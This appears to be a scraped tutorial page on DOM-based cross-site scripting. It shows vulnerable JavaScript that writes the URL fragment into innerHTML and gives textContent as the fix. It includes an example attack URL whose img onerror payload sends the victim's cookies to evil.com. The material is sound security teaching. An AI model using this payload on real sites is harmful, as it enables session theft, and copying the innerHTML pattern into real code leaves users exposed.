Loading...
Loading...
Client-side JavaScript processes URL fragment unsafely.
1// Client-side JavaScript2const searchTerm = window.location.hash.substring(1);3document.getElementById('search-term').innerHTML = 'Searching for: ' + searchTerm;45// URL: https://site.com/search#laptop6// Displays: "Searching for: laptop"
DOM-based XSS happens entirely in the browser. The malicious payload in the URL fragment (#) never reaches the server, making it invisible to server-side security. Use textContent instead of innerHTML when displaying user input.
Attacker crafts URL that executes script without server involvement
https://trusted-site.com/search#<img src=x onerror="fetch('https://evil.com?c='+document.cookie)">✓ Victim clicks link to trusted site
✓ URL fragment processed by JavaScript
✓ Script executes in victim's browser
✓ Server logs show nothing suspicious